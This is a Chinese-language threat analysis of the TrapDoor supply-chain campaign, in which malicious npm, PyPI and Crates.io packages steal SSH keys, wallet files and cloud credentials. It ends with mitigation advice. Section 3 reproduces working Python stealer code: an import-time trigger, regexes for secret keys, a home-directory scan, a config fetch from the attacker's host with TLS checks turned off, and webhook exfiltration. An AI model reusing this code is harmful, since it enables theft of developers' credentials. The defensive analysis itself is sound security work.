TrapDoor 靠 postinstall hook 偷走 SSH 金鑰和錢包!
摘要
報告提供了對 TrapDoor 行動的深入技術分析,這是一場精心策劃的跨生態系供應鏈認證竊取活動(Credential theft campaign)。由 Socket.dev 揭露,該行動利用 npm、PyPI 和 Crates.io 的原生執行機制,竊取 SSH 金鑰、區塊鏈錢包設定和雲端認證等敏感資料。此報告詳細說明了攻擊鏈、基礎設施、認證收集方法以及攻擊者使用的資料外洩技術。此外,也將 TrapDoor 的方法與其他進階供應鏈攻擊(如 Miasma 和 Shai-Hulud)進行比較,突顯不斷演變的規避戰術,以及對穩健的供應鏈安全實務的迫切需求。
1. 簡介
軟體供應鏈安全的樣貌持續演變,攻擊者不斷設計更精巧的方法來入侵廣泛使用的生態系。TrapDoor 行動是一場重大的供應鏈投毒活動,近期由 Socket.dev 於 2026 年 5 月 24 日揭露 [1] 。此行動涵蓋超過 34 個惡意套件和 384 個已發布的版本,特別針對加密貨幣、DeFi、Solana、AI 和安全領域的開發人員。攻擊者利用了每個生態系固有的原生執行機制——npm 的 `postinstall` hook、PyPI 的 import entry point,以及 Crates.io 的 `build.rs` 編譯腳本——在套件安裝或建構階段自動觸發惡意邏輯。這使得他們能夠竊取高價值資料,包括 SSH 金鑰、區塊鏈錢包設定、雲端認證和瀏覽器工作階段狀態 [1] 。
這份報告目的在提供 TrapDoor 行動的全面技術分析,借鑒 SlowMist 威脅情資團隊的深入調查。我們將探討攻擊的核心設計理念、用於遠端設定(Remote configuration)和資料外洩的基礎設施,以及在 Python、Rust 和 npm 生態系中用於認證竊取和持續性存取的特定機制。此外,我們將透過比較 TrapDoor 與 Miasma [2] 和 Shai-Hulud [3] 等攻擊活動中觀察到的技術,將其置於更廣泛的現代供應鏈攻擊脈絡中,強調規避和傳播策略的持續創新。目標是闡明此類攻擊的技術細節,並強調採用先進安全措施以防範這些普遍威脅的必要性。
2. 攻擊鏈概述
TrapDoor 行動的特點在於其「一次開發,跨生態系重複使用」的核心設計理念 [1] 。攻擊者並未為每個套件生態系量身打造獨特的惡意邏輯,而是建立了一個統一的資料收集和資料外洩框架。此框架隨後被整合到每個生態系的 Native execution hook 中,將惡意活動轉移到套件安裝或編譯階段 [1] 。
在基礎設施層面,Python 和 npm 樣本展現了強烈的關聯性,主要透過共用的遠端設定(Remote configuration) URL
ddjidd564.github.io/defi-security-best-practices/config.json
。npm 樣本進一步擴展,使用了
priority_targets.json
、一個傳播腳本(
scan-bundled.js
)、多個
webhook.site
備援接收端,以及一個統一的攻擊標記(
P-2024-001
)。然而,Rust 樣本並未包含這些共用的 URL 或標記,其歸屬於 TrapDoor 行動是依據外部分析
[1]
。
在基礎設施選擇上的一個顯著特點,是刻意挑選開發環境中常被列入白名單的合法服務來進行資料外洩。GitHub Pages(
github.io
)、GitHub Raw(
raw.githubusercontent.com
)、
api.github.com
和
webhook.site
都是開發人員經常使用的服務。此策略讓惡意流量能與正常的開發通訊混合,繞過典型的企業網路、端點安全和防火牆限制,否則這些機制可能會偵測到自架的 C2 網域或不熟悉的 IP 位址
[1]
。
攻擊路徑在「觸發 → 收集 → 資料外洩」階段保持一致,但在傳播和持續性方面則有所不同。Python 和 Rust 樣本都扮演一次性竊取者的角色,惡意行為(Malicious behavior)在程序退出或編譯完成後即停止。只有 npm 樣本包含了完整的傳播和持續性模組,透過修改
.cursorrules
、
CLAUDE.md
、Git hooks 和 shell RC 檔案等檔案來實現二次散播
[1]
。
3. Python 生態系:匯入時觸發的認證竊取(
git-config-sync
)
3.1. 進入點與觸發機制
Python 樣本中的惡意邏輯(偽裝成 Git 設定同步工具
git-config-sync
)在套件載入時立即啟動。進入點位於
gitconfig_sync/__init__.py
[1]
:
- """gitconfig_sync — sync git configurations across repos."""
- from ._core import _scan_and_report
- from .sync import GitConfigSync
關鍵行是
from ._core import _scan_and_report
。在執行
entry_points.txt
中宣告的 Console command(
git-config-sync = gitconfig_sync.cli:main
)之前,Python 必須先載入
gitconfig_sync
套件。在此載入過程中,套件的
__init__.py
會立即匯入惡意核心模組
_core
。這確保了無論使用者執行命令,或是其他程式碼執行了
import gitconfig_sync
,甚至在呼叫
main()
之前,惡意邏輯都會被觸發
[1]
。
為了降低立即對外網路活動的可見性,掃描任務會在
_core.py
結尾處以 daemon thread 啟動,並隨機延遲 3 到 15 秒
[1]
:
- t = threading.Thread(target=lambda: ( time .sleep( random .randint( 3 , 15 )), _scan_and_report()), daemon=True)
- t.start()
3.2. 認證收集範圍
惡意核心模組
_core.py
目的在使用六個特定的 regular expression 來識別和收集高價值認證
[1]
:
- _PATTERNS = [
- (re. compile ( r'(?:0x)?[a-fA-F0-9]{64}' ), 'private_key' ),
- (re. compile ( r'\b([a-z]+\s+){11,23}[a-z]+\b' , re.I), 'mnemonic' ),
- (re. compile ( r'sk-[a-zA-Z0-9]{32,}' ), 'openai_key' ),
- (re. compile ( r'ghp_[a-zA-Z0-9]{36}' ), 'github_token' ),
- (re. compile ( r'AKIA[0-9A-Z]{16}' ), 'aws_key' ),
- (re. compile ( r'(?:PASSWORD|PASSPHRASE)\s*=\s*["\\]?(\S{4,64})' , re.I), 'password' ),
- ]
掃描目標是動態決定的,包括使用者 home 目錄中現有的
.ssh
、
.aws
、
.ethereum
、
.config
、
.docker
、
.kube
等目錄,以及當前工作目錄
[1]
:
- _SCAN_DIRS = [ os . path .join(_HOME, d) for d in [ '.ssh' , '.aws' , '.ethereum' , '.config' , '.docker' , '.kube' ] if os . path .isdir( os . path .join(_HOME, d))]
- _SCAN_DIRS.append( os .getcwd())
檔案掃描邏輯會以遞迴方式檢查這些目錄,跳過隱藏子目錄、
node_modules
、
.git
和
__pycache__
。每個目錄最多處理 200 個檔案,跳過大於 2 MB 的檔案,並將其內容與定義的 regular expression 進行比對。比對結果會截斷為 80 個字元,並記錄檔案路徑
[1]
:
- try:
- for d in _SCAN_DIRS:
- for root, dirs, files in os.walk(d):
- # 過濾掉隱藏目錄、node_modules、.git、__pycache__
- dirs[:] = [
- x for x in dirs
- if not x.startswith('.') and x not in ('node_modules', '.git', '__pycache__')
- ]
- for fn in files[:200]:
- fp = os.path.join(root, fn)
- try:
- # 檔案大小超過 2MB 就跳過
- if os.path.getsize(fp) > 2 * 1024 * 1024:
- continue
- with open(fp, 'r', errors='ignore') as f:
- content = f.read()
- # 在檔案內容裡找符合 _PATTERNS 的字串
- for pat, ptype in _PATTERNS:
- for m in pat.finditer(content):
- val = m.group(2) if m.lastindex and m.lastindex >= 2 else m.group(0)
- findings.append({
- 'type': ptype,
- 'value': val[:80],
- 'file': fp.replace(_HOME, '~')
- })
- except:
- pass
- except:
- pass
3.3. 遠端設定(Remote configuration)與資料外洩
Python 樣本將遠端設定 URL 寫死在程式中:
https://ddjidd564.github.io/defi-security-best-practices/config.json
。值得注意的是,在取得設定期間,明確停用了 TLS 主機名稱驗證(Hostname verification)和憑證驗證(Certificate validatio),削弱了安全措施
[1]
:
- import ssl
- import urllib.request
- import json
- # 建立 SSL context,並關閉憑證驗證
- ctx = ssl.create_default_context()
- ctx.check_hostname = False
- ctx.verify_mode = ssl.CERT_NONE
- # 建立 HTTP 請求
- req = urllib.request.Request(
- 'https://ddjidd564.github.io/defi-security-best-practices/config.json',
- headers={'User-Agent': 'git-sync/1.0'}
- )
- # 發送請求並讀取 JSON
- cfg = json.loads(
- urllib.request.urlopen(req, timeout=8, context=ctx).read()
- )
- # 取出 webhooks 設定
- _WEBHOOKS = cfg.get('webhooks', [])
從 JSON 設定中擷取
webhooks
列表後,該樣本會將收集到的掃描結果和主機環境資訊序列化為 JSON 格式。然後將 POST 請求傳送給前兩個 webhook 端點。此資料外洩過程中的例外狀況會被默默忽略
[1]
:
- import json
- import socket
- import platform
- import os
- import ssl
- import urllib.request
- whs = _resolve_webhooks()
- if not whs:
- return
- # 準備要送出的資料
- data = json.dumps({
- 'source_pkg': 'git-config-sync',
- 'action': 'config_scan',
- 'findings_count': len(findings),
- 'findings': findings[:200],
- 'environment': {
- 'hostname': socket.gethostname(),
- 'platform': platform.platform(),
- 'cwd': os.getcwd()
- }
- })
- # 最多送到前兩個 webhook
- for wh in whs[:2]:
- try:
- req = urllib.request.Request(
- wh,
- data=data.encode(),
- headers={'Content-Type': 'application/json'},
- method='POST'
- )
- urllib.request.urlopen(req, timeout=5, context=ssl.create_default_context())
- except:
- pass
被外洩的資料(包括主機名稱、平台資訊和當前工作目錄)以未加密的純文字 JSON 格式傳送。這使得攻擊者能夠評估受害者的環境,並優先進行進一步的利用 [1] 。
4. Rust 生態系:編譯期間觸發的錢包竊取(
sui-framework-helpers
)
4.1. 進入點與觸發機制
在 Rust 生態系中,惡意行為透過
sui-framework-helpers
的
Cargo.toml
檔案繫結到 Cargo 的編譯階段,該檔案宣告了
build = "build.rs"
[1]
。
build.rs
是 Cargo 的原生建構腳本機制。在編譯 crate 之前,Cargo 會將
build.rs
編譯成一個獨立的執行檔並執行它。只有在執行完成後,Cargo 才會繼續編譯函式庫程式碼。這意味著執行
cargo build
、安裝依賴項,或觸發任何建構過程,都會在編譯前自動執行
build.rs
[1]
。
至關重要的是,Rust 的主流 IDE 外掛程式,如 VS Code 的
rust-analyzer
和 JetBrains 的 Rust 外掛,在開啟專案時會在背景自動執行
cargo check
。這也會觸發
build.rs
的執行,這意味著當受害者在其 IDE 中開啟專案目錄時,惡意腳本就會啟動,而且往往在他們不知情的情況下
[1]
。函式庫程式碼本身只包含一個佔位函式,使其真實目的具有欺騙性
[1]
。
4.2. 認證收集範圍與資料外洩
Rust 樣本中的
build.rs
腳本目的在收集與區塊鏈錢包相關的敏感資料。它特別針對
.sui
目錄中的檔案,尋找錢包設定檔和私鑰。腳本會建構檔案路徑並讀取其內容,然後使用 Base64 對收集到的資料進行編碼
[1]
。
資料外洩機制涉及將 Base64 編碼的資料傳送到一個寫死在程式中的 webhook URL。與 Python 樣本類似,Rust 樣本在此過程中也會停用 TLS 憑證驗證,損害了資料傳輸的安全性 [1] 。
5. npm 生態系:進階持續性與傳播(
token-usage-tracker
)
5.1. 進入點與觸發機制
npm 樣本
token-usage-tracker
利用
package.json
中的
postinstall
hook 來觸發其惡意邏輯。這是 npm 供應鏈攻擊中的常見技術,腳本在套件安裝後會自動執行
[1]
。
5.2. 認證收集與持續性
npm 樣本展現了更進階的能力,包括一個完整的傳播和持續性模組。它會收集與 Python 樣本類似的敏感資料,但也專注於瀏覽器工作階段狀態和其他開發人員相關的認證。為了維持持續性,它會修改各種系統檔案和設定,例如
.cursorrules
、
CLAUDE.md
、Git hooks 和 shell RC 檔案,以確保持續執行並在專案和主機之間進行二次散播
[1]
。
5.3. 遠端設定與資料外洩
npm 樣本與 Python 樣本共用遠端設定網域
ddjidd564.github.io
,使用
config.json
進行初始設定。此外,它還使用了
priority_targets.json
和一個傳播腳本
scan-bundled.js
。多個
webhook.site
URL 作為外洩資料的備援接收端
[1]
。資料外洩過程涉及將收集到的認證和系統資訊傳送到這些 webhook,通常以純文字格式傳送,與其他樣本類似。
6. 攻擊鏈序列圖
以下序列圖說明了 TrapDoor 行動中觀察到的通用攻擊鏈,突顯了攻擊者、套件生態系和受害者系統之間的關鍵互動。
7. 與其他供應鏈攻擊的比較分析
TrapDoor 行動與其他知名的供應鏈攻擊(如 Miasma [2] 和 Shai-Hulud [3] )有相似之處,也表現出不同的特徵。這些比較突顯了攻擊者為規避偵測和實現持續性所採用的不斷演變的戰術。
7.1. 初始感染途徑與規避
TrapDoor 利用了諸如
postinstall
hook (npm)、import entry point (PyPI) 和
build.rs
腳本 (Crates.io) 等原生生態系機制
[1]
。這種方法類似於 Miasma 使用
binding.gyp
檔案來觸發程式碼執行,而無需明確的
package.json
腳本,從而繞過專注於傳統腳本宣告的安全工具
[2]
。另一方面,Shai-Hulud 明確修改
package.json
,在其
preinstall
腳本中注入一個惡意進入點,執行一個名為
setup_bun.js
的載入器檔案
[3]
。Miasma 和 Shai-Hulud 也都使用合法工具(Bun 執行環境)和多階段載入過程來進行規避
[2]
[3]
。
7.2. 認證收集與資料外洩
這三個行動都專注於全面的認證收集。TrapDoor 的目標是 SSH 金鑰、區塊鏈錢包設定和雲端認證
[1]
。Miasma 特別針對
GITHUB_TOKEN
和其他 secrets,透過讀取
Runner.Worker
記憶體來達成
[2]
。Shai-Hulud 則積極在 GitHub、npm、AWS、GCP 和 Azure 等主要平台搜尋 Token,通常會使用像 Trufflehog 這樣的合法安全工具進行深度檔案系統掃描
[3]
。資料外洩機制也有相似之處:TrapDoor 將資料傳送到 webhook,Miasma 將竊取的認證上傳到新建立的 GitHub 儲存庫
[2]
,而 Shai-Hulud 則透過建立帶有特定標記的公開 GitHub 儲存庫,並在受感染的系統間共享 Token,來建立一個類似殭屍網路的彈性資料外洩網路
[3]
。
7.3. 傳播與破壞性 Payload
TrapDoor 的 Python 和 Rust 樣本是單次性的竊取者,但 npm 樣本包含了傳播模組
[1]
。Miasma 透過將受感染套件的新惡意版本發布到 npm 來傳播
[2]
。Shai-Hulud 展現了類似蠕蟲的傳播能力,它使用竊取的 npm Token 下載受害套件,注入其
setup_bun.js
載入器,增加版本號,然後將受感染的套件重新發布到 npm
[3]
。一個特別令人擔憂的共同特徵是包含破壞性 payload。Shai-Hulud 具有「Dead Man's Switch」功能,如果無法連接到其 GitHub 和 npm 基礎設施,就會觸發資料銷毀,在 Unix 上使用
shred
或在 Windows 上使用
cipher /W
等工具,使得復原幾乎不可能
[3]
。這突顯了一個危險的趨勢,即攻擊者整合了自我保護機制,可能導致大規模的資料遺失。
8. 緩解策略與結論
TrapDoor 行動,連同 Miasma 和 Shai-Hulud 等類似的進階威脅,強調了對穩健的供應鏈安全實務的迫切需求。對原生生態系機制的利用以及規避技術的持續創新,證明了傳統的安全控制(通常僅專注於明確的腳本宣告)是不夠的 [1] [2] 。有效的緩解需要多層次的方法:
- 行為分析: 安全工具必須發展到能對套件安裝過程進行更深層的行為分析,偵測異常活動,例如意外的網路請求或權限提升嘗試,而非僅限於明確的腳本宣告 [1] [2] 。
-
依賴項稽核:
定期且徹底地稽核所有依賴項,包括傳遞性依賴項,至關重要。需要能夠分析
binding.gyp檔案和其他建構組態中可疑命令的工具 [2] 。 - 最小權限原則: 在 CI/CD 環境和開發人員工作站中強制執行最小權限原則,可以限制損害的影響範圍。限制網路出口和對敏感資源的存取,可以防止資料外洩和進一步的傳播 [1] 。
- 執行時期監控: 持續的執行時期監控,如 Harden-Runner 等工具所示範,提供對程序執行和網路事件的即時可視性,能夠快速偵測和回應供應鏈攻擊 [2] 。
- 供應鏈完整性: 對套件實施強加密簽章,並在整個供應鏈中驗證套件完整性,有助於確保下載的套件未被竄改。
總之,TrapDoor 行動代表了針對開源生態系的供應鏈攻擊在複雜性和破壞潛力上的顯著升級。其新穎的利用技術,結合先進的認證竊取和資料外洩機制,對開發人員和組織構成了嚴重威脅。透過了解這些先進的攻擊向量並實施全面的安全措施,業界可以更好地保護自己免受持續演變的供應鏈入侵威脅。